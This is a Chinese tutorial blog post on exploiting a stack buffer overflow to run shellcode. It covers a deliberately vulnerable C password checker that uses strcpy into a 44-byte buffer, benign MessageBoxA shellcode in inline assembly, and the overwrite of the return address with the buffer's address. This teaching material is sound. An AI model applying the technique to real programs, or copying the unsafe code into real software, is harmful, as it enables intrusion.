软件漏洞之栈溢出执行shellcode

admin 2021年10月1日21:18:25评论178 views字数 1622阅读5分24秒阅读模式
前言


    在前面文章中,讲解了通过溢出,来达到覆盖邻变量的值,从而绕过密码验证,本节讲解通过溢出执行shellcode


1.源代码分析

    通过读取password的内容,进行保存到变量里面。而我们的漏洞利用点就是password.txt这个文件。

#include "stdafx.h"#include <string.h>#include <stdlib.h>#include<windows.h>#define PASSWORD "1234567"int verify_password(char *password){  int authenticated;  char buffer[44];  printf("%pn",buffer);  authenticated = strcmp(password, PASSWORD);  strcpy(buffer, password);  return authenticated;}
int main(int argc, char* argv[]){
LoadLibrary("user32.dll"); int valid_flag = 0; char password[1024]; FILE* fp; if(!(fp= fopen("password.txt","rw+"))){ printf("文件打开失败n"); system("pause"); return 0; } fscanf(fp,"%s",password); valid_flag = verify_password(password); if (valid_flag) { printf("incorrect password!nn"); } else { printf("Congratulation! You have passed the verification!n"); } system("pause"); return 0;}

    继续看如下图,buffer里面存入的shellcode,发现当buffer淹没到eip的时候,将eip在指向到buffer地址。即可执行buffer里面的shellcode。

软件漏洞之栈溢出执行shellcode



2.提取shellcode

    这里的话我用messagebox做演示,获取messagebox的地址后。用汇编调用提取shellcode。

   

int _tmain(int argc, _TCHAR* argv[]){
HMODULE hdll = LoadLibrary(L"user32.dll"); DWORD msg = (DWORD)GetProcAddress(hdll, "MessageBoxA"); printf("msg的地址是%p", msg); __asm{ pushad; push 0; push 0; push 0; push 0; mov eax,0X76EBED60; call eax; popad; }
return 0;}

    提取的话直接在dbg里面提取即可,右键选中,二进制--编辑,即可转换为shellcode

    

软件漏洞之栈溢出执行shellcode



3.漏洞利用

       首先将shellcode写入到buffer里面,剩下的用nop填充,最后19FAA0则是的buffer地址,同时也是ret返回的地方。

    这里的话依旧参考上图,buffer的首地址写shellcode,之后都用nop填充即可,到EBP+4的地方,直接修改为buffer的地址即可。

    

软件漏洞之栈溢出执行shellcode

软件漏洞之栈溢出执行shellcode

    首先看一下没有执行strcpy之前的栈内情况,EBP+4的地方就是ret返回之后eip的地方。

    

软件漏洞之栈溢出执行shellcode

    之后看一下执行完strcpy的时候。buffer成功被shellcode填充,而EBP+4要跳转的eip改为了buffer的地址,当执行完ret之后,就会跳转到buffer的地址。

    

软件漏洞之栈溢出执行shellcode

    最后运行一下程序,漏洞利用成功

软件漏洞之栈溢出执行shellcode



 

                        

 微信搜索关注 "安全族" 长期更新安全资料,扫一扫即可关注安全族!

软件漏洞之栈溢出执行shellcode



本文始发于微信公众号(安全族):软件漏洞之栈溢出执行shellcode

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2021年10月1日21:18:25
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   软件漏洞之栈溢出执行shellcodehttp://cn-sec.com/archives/383301.html

发表评论

匿名网友 填写信息